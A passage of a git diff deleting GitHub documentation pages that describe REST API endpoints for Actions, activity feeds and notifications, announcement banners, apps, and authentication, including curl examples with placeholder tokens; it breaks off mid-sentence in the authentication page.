>- - Use the REST API to interact with permissions for {% data - variables.product.prodname_actions %}. -topics: - - API -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -autogenerated: rest ---- - -## About permissions for {% data variables.product.prodname_actions %} - -You can use the REST API to set permissions for the {% ifversion ghes or ghec %}enterprises, {% endif %}organizations and repositories that are allowed to run {% data variables.product.prodname_actions %}, and the actions{% ifversion actions-workflow-policy %} and reusable workflows{% endif %} that are allowed to run. For more information, see [AUTOTITLE](/actions/learn-github-actions/usage-limits-billing-and-administration#disabling-or-limiting-github-actions-for-your-repository-or-organization). - - diff --git a/content/rest/actions/secrets.md b/content/rest/actions/secrets.md deleted file mode 100644 index 23ef911c9cb3..000000000000 --- a/content/rest/actions/secrets.md +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: REST API endpoints for GitHub Actions Secrets -allowTitleToDifferFromFilename: true -shortTitle: Secrets -intro: >- - Use the REST API to interact with secrets in {% data - variables.product.prodname_actions %}. -topics: - - API -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -autogenerated: rest ---- - -## About secrets in {% data variables.product.prodname_actions %} - -You can use the REST API to create, update, delete, and retrieve information about secrets that can be used in workflows in {% data variables.product.prodname_actions %}. {% data reusables.actions.about-secrets %} For more information, see [AUTOTITLE](/actions/security-for-github-actions/security-guides/about-secrets). - - diff --git a/content/rest/actions/self-hosted-runner-groups.md b/content/rest/actions/self-hosted-runner-groups.md deleted file mode 100644 index 35b8d28ffe58..000000000000 --- a/content/rest/actions/self-hosted-runner-groups.md +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: REST API endpoints for self-hosted runner groups -shortTitle: Self-hosted runner groups -allowTitleToDifferFromFilename: true -intro: >- - Use the REST API to interact with self-hosted runner groups for {% data - variables.product.prodname_actions %}. -topics: - - API -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -autogenerated: rest ---- - -## About self-hosted runner groups in {% data variables.product.prodname_actions %} - -You can use the REST API to manage groups of self-hosted runners in {% data variables.product.prodname_actions %}. For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/managing-access-to-self-hosted-runners-using-groups). - -{% data reusables.actions.actions-authentication %} {% data variables.product.prodname_github_apps %} must have the `administration` permission for repositories or the `organization_self_hosted_runners` permission for organizations. Authenticated users must have admin access to repositories or organizations, or the `manage_runners:enterprise` scope for enterprises to use these endpoints. - - diff --git a/content/rest/actions/self-hosted-runners.md b/content/rest/actions/self-hosted-runners.md deleted file mode 100644 index ae2c28a7a08c..000000000000 --- a/content/rest/actions/self-hosted-runners.md +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: REST API endpoints for self-hosted runners -shortTitle: Self-hosted runners -allowTitleToDifferFromFilename: true -intro: >- - Use the REST API to interact with self-hosted runners in {% data - variables.product.prodname_actions %}. -topics: - - API -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -autogenerated: rest ---- - -## About self-hosted runners in {% data variables.product.prodname_actions %} - -You can use the REST API to register, view, and delete self-hosted runners in {% data variables.product.prodname_actions %}. {% data reusables.actions.about-self-hosted-runners %} For more information, see [AUTOTITLE](/actions/hosting-your-own-runners). - - diff --git a/content/rest/actions/variables.md b/content/rest/actions/variables.md deleted file mode 100644 index 1e277c5cd112..000000000000 --- a/content/rest/actions/variables.md +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: REST API endpoints for GitHub Actions variables -allowTitleToDifferFromFilename: true -shortTitle: Variables -intro: 'Use the REST API to interact with variables in {% data variables.product.prodname_actions %}.' -topics: - - API -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -autogenerated: rest ---- - -## About variables in {% data variables.product.prodname_actions %} - -You can use the REST API to create, update, delete, and retrieve information about variables that can be used in workflows in {% data variables.product.prodname_actions %}. {% data reusables.actions.about-variables %} For more information, see [AUTOTITLE](/actions/learn-github-actions/variables) in the {% data variables.product.prodname_actions %} documentation. - - diff --git a/content/rest/actions/workflow-jobs.md b/content/rest/actions/workflow-jobs.md deleted file mode 100644 index 981bd628543d..000000000000 --- a/content/rest/actions/workflow-jobs.md +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: REST API endpoints for workflow jobs -shortTitle: Workflow jobs -allowTitleToDifferFromFilename: true -intro: >- - Use the REST API to interact with workflow jobs in {% data - variables.product.prodname_actions %}. -topics: - - API -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -autogenerated: rest ---- - -## About workflow jobs in {% data variables.product.prodname_actions %} - -You can use the REST API to view logs and workflow jobs in {% data variables.product.prodname_actions %}. {% data reusables.actions.about-workflow-jobs %} For more information, see [AUTOTITLE](/actions/using-workflows/workflow-syntax-for-github-actions). - - diff --git a/content/rest/actions/workflow-runs.md b/content/rest/actions/workflow-runs.md deleted file mode 100644 index d6d01bcb05ab..000000000000 --- a/content/rest/actions/workflow-runs.md +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: REST API endpoints for workflow runs -shortTitle: Workflow runs -allowTitleToDifferFromFilename: true -intro: >- - Use the REST API to interact with workflow runs in {% data - variables.product.prodname_actions %}. -topics: - - API -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -autogenerated: rest ---- - -## About workflow runs in {% data variables.product.prodname_actions %} - -You can use the REST API to view, re-run, cancel, and view logs for workflow runs in {% data variables.product.prodname_actions %}. {% data reusables.actions.about-workflow-runs %} For more information, see [AUTOTITLE](/actions/managing-workflow-runs). - - diff --git a/content/rest/actions/workflows.md b/content/rest/actions/workflows.md deleted file mode 100644 index a1a6943756bd..000000000000 --- a/content/rest/actions/workflows.md +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: REST API endpoints for workflows -shortTitle: Workflows -allowTitleToDifferFromFilename: true -intro: >- - Use the REST API to interact with workflows in {% data - variables.product.prodname_actions %}. -topics: - - API -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -autogenerated: rest ---- - -## About workflows in {% data variables.product.prodname_actions %} - -You can use the REST API to view workflows for a repository in {% data variables.product.prodname_actions %}. {% data reusables.actions.about-workflows %} For more information, see [AUTOTITLE](/actions/using-workflows/about-workflows) in the {% data variables.product.prodname_actions %} documentation. - - diff --git a/content/rest/activity/events.md b/content/rest/activity/events.md deleted file mode 100644 index e2002e9d83c4..000000000000 --- a/content/rest/activity/events.md +++ /dev/null @@ -1,40 +0,0 @@ ---- -title: REST API endpoints for events -shortTitle: Events -allowTitleToDifferFromFilename: true -intro: >- - Use the REST API to interact with {% data variables.product.github %} - events. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -autogenerated: rest ---- - -## About {% data variables.product.github %} events - -{% data variables.product.github %} events power the various activity streams on the site. - -You can use the REST API to return different types of events triggered by activity on {% data variables.product.github %}. For more information about the specific events that you can receive, see [AUTOTITLE](/webhooks-and-events/events/github-event-types). Endpoints for repository issues are also available. For more information, see [AUTOTITLE](/rest/issues/events). - -Events are optimized for polling with the "ETag" header. If no new events have been triggered, you will see a "304 Not Modified" response, and your current rate limit will be untouched. There is also an "X-Poll-Interval" header that specifies how often (in seconds) you are allowed to poll. In times of high server load, the time may increase. Please obey the header. - -``` shell -$ curl -I {% data variables.product.rest_url %}/users/tater/events -> HTTP/2 200 -> X-Poll-Interval: 60 -> ETag: "a18c3bded88eb5dbb5c849a489412bf3" - -# The quotes around the ETag value are important -$ curl -I {% data variables.product.rest_url %}/users/tater/events \ -$ -H 'If-None-Match: "a18c3bded88eb5dbb5c849a489412bf3"' -> HTTP/2 304 -> X-Poll-Interval: 60 -``` - -The timeline will include up to 300 events. Only events created within the past 90 days will be included. Events older than 90 days will not be included (even if the total number of events in the timeline is less than 300). - - diff --git a/content/rest/activity/feeds.md b/content/rest/activity/feeds.md deleted file mode 100644 index c26433c33925..000000000000 --- a/content/rest/activity/feeds.md +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: REST API endpoints for feeds -shortTitle: Feeds -allowTitleToDifferFromFilename: true -intro: >- - Use the REST API to interact with {% data variables.product.prodname_dotcom %} - feeds. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -autogenerated: rest ---- - - diff --git a/content/rest/activity/index.md b/content/rest/activity/index.md deleted file mode 100644 index 67bab1dcf0e6..000000000000 --- a/content/rest/activity/index.md +++ /dev/null @@ -1,26 +0,0 @@ ---- -title: REST API endpoints for activity -shortTitle: Activity -allowTitleToDifferFromFilename: true -intro: 'Use the REST API to list events and feeds and manage notifications, starring, and watching.' -redirect_from: - - /v3/activity - - /rest/reference/activity -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - API -children: - - /events - - /feeds - - /notifications - - /starring - - /watching -autogenerated: rest ---- - - - - diff --git a/content/rest/activity/notifications.md b/content/rest/activity/notifications.md deleted file mode 100644 index 5dc1e20614fa..000000000000 --- a/content/rest/activity/notifications.md +++ /dev/null @@ -1,71 +0,0 @@ ---- -title: REST API endpoints for notifications -shortTitle: Notifications -allowTitleToDifferFromFilename: true -intro: >- - Use the REST API to manage {% data variables.product.github %} - notifications. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -autogenerated: rest ---- - -## About {% data variables.product.github %} notifications - -{% data reusables.user-settings.notifications-api-classic-pat-only %} - -You can use the REST API to manage {% data variables.product.github %} notifications. For more information about notifications, see [AUTOTITLE](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/about-notifications). - -All calls to these endpoints require the `notifications` or `repo` scopes. You will need the `repo` scope to access issues and commits from their respective endpoints. - -Notifications are returned as "threads". A thread contains information about the current discussion of an issue, pull request, or commit. - -Notifications are optimized for polling with the `Last-Modified` header. If there are no new notifications, you will see a `304 Not Modified` response, leaving your current rate limit untouched. There is an `X-Poll-Interval` header that specifies how often (in seconds) you are allowed to poll. In times of high server load, the time may increase. Please obey the header. - -``` shell -# Add authentication to your requests -$ curl -I {% data variables.product.rest_url %}/notifications -HTTP/2 200 -Last-Modified: Thu, 25 Oct 2012 15:16:27 GMT -X-Poll-Interval: 60 - -# Pass the Last-Modified header exactly -$ curl -I {% data variables.product.rest_url %}/notifications -$ -H "If-Modified-Since: Thu, 25 Oct 2012 15:16:27 GMT" -> HTTP/2 304 -> X-Poll-Interval: 60 -``` - -### About notification reasons - -These GET endpoints return a `reason` key. These `reason`s correspond to events that trigger a notification. - -There are a few potential `reason`s for receiving a notification. - -Reason Name | Description -------------|------------ -`approval_requested` | You were requested to review and approve a deployment. For more information, see [AUTOTITLE](/actions/managing-workflow-runs/reviewing-deployments). -`assign` | You were assigned to the issue. -`author` | You created the thread. -`comment` | You commented on the thread. -`ci_activity` | A {% data variables.product.prodname_actions %} workflow run that you triggered was completed. -`invitation` | You accepted an invitation to contribute to the repository. -`manual` | You subscribed to the thread (via an issue or pull request). -`member_feature_requested` | Organization members have requested to enable a feature such as Draft Pull Requests or Copilot. -`mention` | You were specifically **@mentioned** in the content. -`review_requested` | You, or a team you're a member of, were requested to review a pull request.{% ifversion fpt or ghec %} -`security_alert` | {% data variables.product.prodname_dotcom %} discovered a [security vulnerability](/code-security/dependabot/dependabot-alerts/about-dependabot-alerts) in your repository.{% endif %} -`security_advisory_credit` | You were credited for contributing to a security advisory. -`state_change` | You changed the thread state (for example, closing an issue or merging a pull request). -`subscribed` | You're watching the repository. -`team_mention` | You were on a team that was mentioned. - -Note that the `reason` is modified on a per-thread basis, and can change, if the `reason` on a later notification is different. - -For example, if you are the author of an issue, subsequent notifications on that issue will have a `reason` of `author`. If you're then **@mentioned** on the same issue, the notifications you fetch thereafter will have a `reason` of `mention`. The `reason` remains as `mention`, regardless of whether you're ever mentioned again. - - diff --git a/content/rest/activity/starring.md b/content/rest/activity/starring.md deleted file mode 100644 index 33c13894d253..000000000000 --- a/content/rest/activity/starring.md +++ /dev/null @@ -1,29 +0,0 @@ ---- -title: REST API endpoints for starring -shortTitle: Starring -intro: Use the REST API to bookmark a repository. -allowTitleToDifferFromFilename: true -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -autogenerated: rest ---- - -## About starring - -You can use the REST API to star (bookmark) a repository. Stars are shown next to repositories to show an approximate level of interest. Stars have no effect on notifications or the activity feed. For more information, see [AUTOTITLE](/get-started/exploring-projects-on-github/saving-repositories-with-stars). - -### Starring versus watching - -In August 2012, we [changed the way watching -works](https://github.com/blog/1204-notifications-stars) on {% data variables.product.prodname_dotcom %}. Some API -client applications may still be using the original "watcher" endpoints for accessing -this data. You should now use the "star" endpoints instead (described -below). For more information, see [AUTOTITLE](/rest/activity/watching) and the [changelog post](https://developer.github.com/changes/2012-09-05-watcher-api/). - -In responses from the REST API, `watchers`, `watchers_count`, and `stargazers_count` correspond to the number of users that have starred a repository, whereas `subscribers_count` corresponds to the number of watchers. - - diff --git a/content/rest/activity/watching.md b/content/rest/activity/watching.md deleted file mode 100644 index 4296fc5ea486..000000000000 --- a/content/rest/activity/watching.md +++ /dev/null @@ -1,28 +0,0 @@ ---- -title: REST API endpoints for watching -shortTitle: Watching -intro: Use the REST API to subscribe to notifications for activity in a repository. -allowTitleToDifferFromFilename: true -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -autogenerated: rest ---- - -## About watching - -You can use the REST API to subscribe to notifications for activity in a repository. To bookmark a repository instead, see [AUTOTITLE](/rest/activity/starring). - -### Watching versus starring - -In August 2012, we [changed the way watching -works](https://github.com/blog/1204-notifications-stars) on {% data variables.product.prodname_dotcom %}. Some API -client applications may still be using the original "watcher" endpoints for accessing -this data. You should now use the "star" endpoints instead. For more information, [AUTOTITLE](/rest/activity/starring) and the [changelog post](https://developer.github.com/changes/2012-09-05-watcher-api/). - -In responses from the REST API, `subscribers_count` corresponds to the number of watchers, whereas `watchers`, `watchers_count`, and `stargazers_count` correspond to the number of users that have starred a repository. - - diff --git a/content/rest/announcement-banners/enterprises.md b/content/rest/announcement-banners/enterprises.md deleted file mode 100644 index 9f9f57497517..000000000000 --- a/content/rest/announcement-banners/enterprises.md +++ /dev/null @@ -1,15 +0,0 @@ ---- -title: REST API endpoints for enterprise announcement banners -shortTitle: Enterprise -intro: >- - The Enterprise Announcement Banners API allows you to get, set, and remove the - announcement banner for your enterprise. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - ghec: '*' -allowTitleToDifferFromFilename: true -autogenerated: rest ---- - - - - diff --git a/content/rest/announcement-banners/index.md b/content/rest/announcement-banners/index.md deleted file mode 100644 index 2990c00d8a5c..000000000000 --- a/content/rest/announcement-banners/index.md +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: REST API endpoints for announcement banners -shortTitle: Announcement banners -allowTitleToDifferFromFilename: true -intro: 'The Announcement Banners API enables you to view, create, and remove an announcement banner for your enterprise or organization.' -versions: - ghec: '*' - ghes: '*' -children: - - /enterprises - - /organizations -autogenerated: rest ---- - - - - diff --git a/content/rest/announcement-banners/organizations.md b/content/rest/announcement-banners/organizations.md deleted file mode 100644 index 7e553bfaa607..000000000000 --- a/content/rest/announcement-banners/organizations.md +++ /dev/null @@ -1,14 +0,0 @@ ---- -title: REST API endpoints for organization announcement banners -shortTitle: Organization -intro: 'The Organization Announcement Banners API allows you to get, set, and remove the announcement banner for your organization.' -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - ghec: '*' - ghes: '*' -allowTitleToDifferFromFilename: true -autogenerated: rest ---- - - - - diff --git a/content/rest/apps/apps.md b/content/rest/apps/apps.md deleted file mode 100644 index a7727c0d2cd6..000000000000 --- a/content/rest/apps/apps.md +++ /dev/null @@ -1,25 +0,0 @@ ---- -title: 'REST API endpoints for {% data variables.product.prodname_github_apps %}' -shortTitle: '{% data variables.product.prodname_github_apps %}' -allowTitleToDifferFromFilename: true -intro: >- - Use the REST API to interact with {% data - variables.product.prodname_github_apps %} -topics: - - API -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -autogenerated: rest ---- - -## About {% data variables.product.prodname_github_apps %} - -{% data reusables.apps.general-apps-restrictions %} - -This page lists endpoints that you can access while authenticated as a {% data variables.product.prodname_github_app %}. For more information, see [AUTOTITLE](/apps/creating-github-apps/authenticating-with-a-github-app/authenticating-as-a-github-app). - -See [AUTOTITLE](/rest/apps/installations) for a list of endpoints that require authentication as a {% data variables.product.prodname_github_app %} installation. - - diff --git a/content/rest/apps/index.md b/content/rest/apps/index.md deleted file mode 100644 index d30e4ac70f26..000000000000 --- a/content/rest/apps/index.md +++ /dev/null @@ -1,26 +0,0 @@ ---- -title: REST API endpoints for apps -shortTitle: Apps -allowTitleToDifferFromFilename: true -intro: 'Use the REST API to retrieve information about {% data variables.product.prodname_github_apps %} and {% data variables.product.prodname_github_app %} installations.' -redirect_from: - - /v3/apps - - /rest/reference/apps -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - API -children: - - /apps - - /installations - - /marketplace - - /oauth-applications - - /webhooks -autogenerated: rest ---- - - - - diff --git a/content/rest/apps/installations.md b/content/rest/apps/installations.md deleted file mode 100644 index 3dcea3c17409..000000000000 --- a/content/rest/apps/installations.md +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: 'REST API endpoints for {% data variables.product.prodname_github_app %} installations' -allowTitleToDifferFromFilename: true -shortTitle: Installations -intro: >- - Use the REST API to get information about {% data - variables.product.prodname_github_app %} installations and perform actions - within those installations. -topics: - - API -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -autogenerated: rest ---- - -## About {% data variables.product.prodname_github_app %} installations - -A {% data variables.product.prodname_github_app %} installation refers to any user or organization account that has installed the app. For information on how to authenticate as an installation and limit access to specific repositories, see [AUTOTITLE](/apps/creating-github-apps/authenticating-with-a-github-app/authenticating-as-a-github-app-installation). - -To list all {% data variables.product.prodname_github_app %} installations for an organization, see [AUTOTITLE](/rest/orgs/orgs#list-app-installations-for-an-organization). - - diff --git a/content/rest/apps/marketplace.md b/content/rest/apps/marketplace.md deleted file mode 100644 index c7c1887a768e..000000000000 --- a/content/rest/apps/marketplace.md +++ /dev/null @@ -1,30 +0,0 @@ ---- -title: 'REST API endpoints for {% data variables.product.prodname_marketplace %}' -allowTitleToDifferFromFilename: true -shortTitle: Marketplace -intro: >- - Use the REST API to interact with {% data - variables.product.prodname_marketplace %} -topics: - - API -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' -autogenerated: rest ---- - -## About {% data variables.product.prodname_marketplace %} - -For more information about {% data variables.product.prodname_marketplace %}, see [AUTOTITLE](/apps/publishing-apps-to-github-marketplace). - -These endpoints allow you to see which customers are using a pricing plan, see a customer's purchases, and see if an account has an active subscription. - -### Testing with stubbed endpoints - -You can [test your {% data variables.product.prodname_github_app %}](/apps/publishing-apps-to-github-marketplace/using-the-github-marketplace-api-in-your-app/testing-your-app) with **stubbed data**. Stubbed data is hard-coded, fake data that will not change based on actual subscriptions. - -To test with stubbed data, use a stubbed endpoint in place of its production counterpart. This allows you to test whether the API logic succeeds before listing {% data variables.product.prodname_github_apps %} on {% data variables.product.prodname_marketplace %}. - -Make sure to replace stubbed endpoints with production endpoints before deploying your {% data variables.product.prodname_github_app %}. - - diff --git a/content/rest/apps/oauth-applications.md b/content/rest/apps/oauth-applications.md deleted file mode 100644 index d71ce56ceda1..000000000000 --- a/content/rest/apps/oauth-applications.md +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: REST API endpoints for OAuth authorizations -shortTitle: OAuth authorizations -allowTitleToDifferFromFilename: true -intro: >- - Use the REST API to interact with {% data - variables.product.prodname_oauth_apps %} and OAuth authorizations of {% data - variables.product.prodname_github_apps %} -topics: - - API -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -autogenerated: rest ---- - -## About {% data variables.product.prodname_oauth_apps %} and OAuth authorizations of {% data variables.product.prodname_github_apps %} - -You can use these endpoints to manage the OAuth tokens that {% data variables.product.prodname_oauth_apps %} or {% data variables.product.prodname_github_apps %} use to access people's accounts on {% data variables.product.github %}. - -Tokens for {% data variables.product.prodname_oauth_apps %} have the prefix `gho_`, while OAuth tokens for {% data variables.product.prodname_github_apps %}, used for authenticating on behalf of the user, have the prefix `ghu_`. You can use the following endpoints for both types of OAuth tokens. - - diff --git a/content/rest/apps/webhooks.md b/content/rest/apps/webhooks.md deleted file mode 100644 index 1b54e91af2f7..000000000000 --- a/content/rest/apps/webhooks.md +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: 'REST API endpoints for {% data variables.product.prodname_github_app %} webhooks' -allowTitleToDifferFromFilename: true -shortTitle: Webhooks -intro: >- - Use the REST API to interact with webhooks for {% data - variables.product.prodname_oauth_apps %} -topics: - - API -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -autogenerated: rest ---- - -## About webhooks for {% data variables.product.prodname_github_apps %} - -A {% data variables.product.prodname_github_app %}'s webhook allows your server to receive HTTP `POST` payloads whenever certain events happen for a {% data variables.product.prodname_github_app %}. For more information, see [AUTOTITLE](/webhooks) and [AUTOTITLE](/apps/creating-github-apps/registering-a-github-app/using-webhooks-with-github-apps). - - diff --git a/content/rest/authentication/authenticating-to-the-rest-api.md b/content/rest/authentication/authenticating-to-the-rest-api.md deleted file mode 100644 index 94a81a139e86..000000000000 --- a/content/rest/authentication/authenticating-to-the-rest-api.md +++ /dev/null @@ -1,172 +0,0 @@ ---- -title: Authenticating to the REST API -intro: You can authenticate to the REST API to access more endpoints and have a higher rate limit. -redirect_from: - - /v3/auth - - /rest/overview/other-authentication-methods - - /rest/overview/authenticating-to-the-rest-api -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - API -shortTitle: Authenticating ---- - -## About authentication - -Many REST API endpoints require authentication or return additional information if you are authenticated. Additionally, you can make more requests per hour when you are authenticated. - -To authenticate your request, you will need to provide an authentication token with the required scopes or permissions. There a few different ways to get a token: You can create a {% data variables.product.pat_generic %}, generate a token with a {% data variables.product.prodname_github_app %}, or use the built-in `GITHUB_TOKEN` in a {% data variables.product.prodname_actions %} workflow. - -After creating a token, you can authenticate your request by sending the token in the `Authorization` header of your request. For example, in the following request, replace `YOUR-TOKEN` with a reference to your token: - -```shell -curl --request GET \ ---url "{% data variables.product.rest_url %}/octocat" \ ---header "Authorization: Bearer YOUR-TOKEN" \ ---header "X-GitHub-Api-Version: {{ allVersions[currentVersion].latestApiVersion }}" -``` - -> [!NOTE] -> {% data reusables.getting-started.bearer-vs-token %} - -### Failed login limit - -If you try to use a REST API endpoint without a token or with a token that has insufficient permissions, you will receive a `404 Not Found` or `403 Forbidden` response. Authenticating with invalid credentials will initially return a `401 Unauthorized` response. - -After detecting several requests with invalid credentials within a short period, the API will temporarily reject all authentication attempts for that user (including ones with valid credentials) with a `403 Forbidden` response. For more information, see [AUTOTITLE](/rest/overview/rate-limits-for-the-rest-api). - -## Authenticating with a {% data variables.product.pat_generic %} - -If you want to use the {% data variables.product.company_short %} REST API for personal use, you can create a {% data variables.product.pat_generic %}. If possible, {% data variables.product.company_short %} recommends that you use a {% data variables.product.pat_v2 %} instead of a {% data variables.product.pat_v1 %}. For more information about creating a {% data variables.product.pat_generic %}, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token). - -If you are using a {% data variables.product.pat_v2 %}, your {% data variables.product.pat_v2 %} requires specific permissions in order to access each REST API endpoint. The REST API reference document for each endpoint states whether the endpoint works with {% data variables.product.pat_v2 %}s and states what permissions are required in order for the token to use the endpoint. Some endpoints may require multiple permissions, and some endpoints may require one of multiple permissions. For an overview of which REST API endpoints a {% data variables.product.pat_v2 %} can access with each permission, see [AUTOTITLE](/rest/overview/permissions-required-for-fine-grained-personal-access-tokens). - -If you are using a {% data variables.product.pat_v1 %}, it requires specific scopes in order to access each REST API endpoint. For general guidance about what scopes to choose, see [AUTOTITLE](/apps/oauth-apps/building-oauth-apps/scopes-for-oauth-apps#available-scopes). - -### {% data variables.product.pat_generic_caps_plural %} and SAML SSO - -{% ifversion fpt or ghec %}If you use a {% data variables.product.pat_v1 %} to access an organization that enforces SAML single sign-on (SSO) for authentication, you will need to authorize your token after creation. {% data variables.product.pat_v2_caps %}s are authorized during token creation, before access to the organization is granted. For more information, see [AUTOTITLE](/authentication/authenticating-with-saml-single-sign-on/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on). - -If you do not authorize your {% data variables.product.pat_v1 %} for SAML SSO before you try to use it to access a single organization that enforces SAML SSO, you may receive a `404 Not Found` or a `403 Forbidden` error. If you receive a `403 Forbidden` error, the `X-GitHub-SSO` header will include a URL that you can follow to authorize your token. The URL expires after one hour. - -If you do not authorize your {% data variables.product.pat_v1 %} for SAML SSO before you try to use it to access multiple organizations, the API will not return results from the organizations that require SAML SSO and the `X-GitHub-SSO` header will indicate the ID of the organizations that require SAML SSO authorization of your {% data variables.product.pat_v1 %}. For example: `X-GitHub-SSO: partial-results; organizations=21955855,20582480`. - -{% endif %} - -## Authenticating with a token generated by an app - -If you want to use the API for an organization or on behalf of another user, {% data variables.product.company_short %} recommends that you use a {% data variables.product.prodname_github_app %}. For more information, see [AUTOTITLE](/apps/creating-github-apps/authenticating-with-a-github-app/about-authentication-with-a-github-app). - -The REST API reference documentation for each endpoint states whether the endpoint works with {% data variables.product.prodname_github_apps %} and states what permissions are required in order for the app to use the endpoint. Some endpoints may require multiple permissions, and some endpoints may require one of multiple permissions. For an overview of which REST API endpoints a {% data variables.product.prodname_github_app %} can access with each permission, see [AUTOTITLE](/rest/overview/permissions-required-for-github-apps). - -You can also create an OAuth token with an {% data variables.product.prodname_oauth_app %} to access the REST API. However, {% data variables.product.company_short %} recommends that you use a {% data variables.product.prodname_github_app %} instead. {% data variables.product.prodname_github_apps %} allow more control over the access and permission that the app has. - -{% ifversion fpt or ghec %}Access tokens created by apps are automatically authorized for SAML SSO.{% endif %} - -### Using basic authentication - -Some REST API endpoints for {% data variables.product.prodname_github_apps %} and {% data variables.product.prodname_oauth_apps %} require you to use basic authentication to access the endpoint. You will use the app's client ID as the username and the app's client secret as the password. - -For example: - -```shell -curl --request POST \ ---url "{% data variables.product.rest_url %}/applications/YOUR_CLIENT_ID/token" \ ---user "YOUR_CLIENT_ID:YOUR_CLIENT_SECRET" \ ---header "Accept: application/vnd.github+json" \ ---header "X-GitHub-Api-Version: {{ allVersions[currentVersion].latestApiVersion }}" \ ---data '{ - "access_token": "ACCESS_TOKEN_TO_CHECK" -}' -``` - -The client ID and client secret are associated with the app, not with the owner of the app or a user who authorized the app. They are used to perform operations on behalf of the app, such as creating access tokens. - -If you are the owner of a {% data variables.product.prodname_github_app %} or {% data variables.product.prodname_oauth_app %}, or if you are an app manager for a {% data variables.product.prodname_github_app %}, you can find the client ID and generate a client secret on the settings page for your app. To navigate to your app's settings page: - -1. In the upper-right corner of any page on {% data variables.product.prodname_dotcom %}, click your profile photo. -1. Navigate to your account settings. - * For an app owned by a personal account, click **Settings**. - * For an app owned by an organization: - 1. Click **Your organizations**. - 1. To the right of the organization, click **Settings**. -{% data reusables.user-settings.developer_settings %} -1. In the left sidebar, click **{% data variables.product.prodname_github_apps %}** or **{% data variables.product.prodname_oauth_apps %}**. -1. For {% data variables.product.prodname_github_apps %}, to the right of the {% data variables.product.prodname_github_app %} you want to access, click **Edit**. For {% data variables.product.prodname_oauth_apps %}, click the app that you want to access. -1. Next to **Client ID**, you will see the client ID for your app. -1. Next to **Client secrets**, click **Generate a new client secret** to generate a client secret for your app. - -## Authenticating in a {% data variables.product.prodname_actions %} workflow - -If you want to use the API in a {% data variables.product.prodname_actions %} workflow, {% data variables.product.company_short %} recommends that you authenticate with the built-in `GITHUB_TOKEN` instead of creating a token. You can grant permissions to the `GITHUB_TOKEN` with the `permissions` key. For more information, see [AUTOTITLE](/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token). - -If this is not possible, you can store your token as a secret and use the name of your secret in your {% data variables.product.prodname_actions %} workflow. For more information about secrets, see [AUTOTITLE](/actions/security-guides/encrypted-secrets). - -### Authenticating in a {% data variables.product.prodname_actions %} workflow using {% data variables.product.prodname_cli %} - -To make an authenticated request to the API in a {% data variables.product.prodname_actions %} workflow using {% data variables.product.prodname_cli %}, you can store the value of `GITHUB_TOKEN` as an environment variable, and use the `run` keyword to execute the {% data variables.product.prodname_cli %} `api` subcommand. For more information about the `run` keyword, see 